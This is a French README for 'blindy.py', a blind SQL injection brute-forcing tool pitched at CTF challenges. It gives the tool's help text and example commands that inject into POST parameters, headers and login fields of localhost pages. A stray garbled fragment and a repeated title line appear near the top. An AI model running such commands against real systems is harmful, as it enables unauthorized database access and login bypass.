
Script simple pour automatiser le brute-force des vulnérabilités d'injection SQL aveugles
Script simple pour exécuter une injection SQL aveugle par force brute
Remarque : ce script a été créé pour le plaisir, utile dans certains défis CTF :)
{}.--positive, on peut passer à la recherche d'une réponse attendue$ python3 blindy.py --help
usage: blindy.py [-h] [-X HTTP_METHOD] -p PARAMETER [-H HTTP_HEADER]
[-f FILENAME] -r PATTERN [--positive] [-s QUERY_SET] [-e]
[-v]
url
Run blind sql injection using brute force
positional arguments:
url Target url
optional arguments:
-h, --help show this help message and exit
-X HTTP_METHOD, --http-method HTTP_METHOD
Http method: (GET (default), POST)
-p PARAMETER, --parameter PARAMETER
Parameter, e.g. name=value, name={}
-H HTTP_HEADER, --http-header HTTP_HEADER
Http headers, e.g. X-Custom_header:value,
X-Custom_header:{}
-f FILENAME, --filename FILENAME
File with commands in json, default queries.json
-r PATTERN, --pattern PATTERN
Regular expression
--positive Injection was successfull if pattern IS PRESENT in
response
-s QUERY_SET, --query-set QUERY_SET
Json key for query set, default to ['login']
-e, --encode Url encode payload
-v, --verbose Print full info what's going on
==================== [exemple d'utilisation] ===================
Forcer brutalement le paramètre POST `query_param` :
$ python3 blindy.py http://localhost/index.php -X POST -p query_param={} -p submit=1 -r "Wrong param" -s "['blind']"
Forcer brutalement une partie du paramètre POST `query_param` :
$ python3 blindy.py http://localhost/index.php -X POST -p "query_param=login {}" -p submit=1 -H 'Cookie: PHPSESSID=sdfsdgvdvsdvs' -r "Wrong param" -s "['blind']"
Forcer brutalement `X-Custom-Header` dans une requête GET - utiliser une seule requête de l'ensemble :
$ python3 blindy.py http://localhost/index.php -X GET -p admin=1 -H "X-Custom_header: {}" -r "Wrong param" -s "['blind'][0]"
Vérification simple d'une liste de requêtes sur le paramètre `username` (motif négatif) :
$ python3 blindy.py http://localhost/login.php -X POST -p username={} -p submit=1 -r "Wrong username" -s "['login']"
Vérification simple d'une liste de requêtes sur le paramètre `username` (motif positif) :
$ python3 blindy.py http://localhost/login.php -X POST -p username={} -p submit=1 -r "Welcome back, admin" --positive -s "['login']"
python3 -m unittest blindy_test.py